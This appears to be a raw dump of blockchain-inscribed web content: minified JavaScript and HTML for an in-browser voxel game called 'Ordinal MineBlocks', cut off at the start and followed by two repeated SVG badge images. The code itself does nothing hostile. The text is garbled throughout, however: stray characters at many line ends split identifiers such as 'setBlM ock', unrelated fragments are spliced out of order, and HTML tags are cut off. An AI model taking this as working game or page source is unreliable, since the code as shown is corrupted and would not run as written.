ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
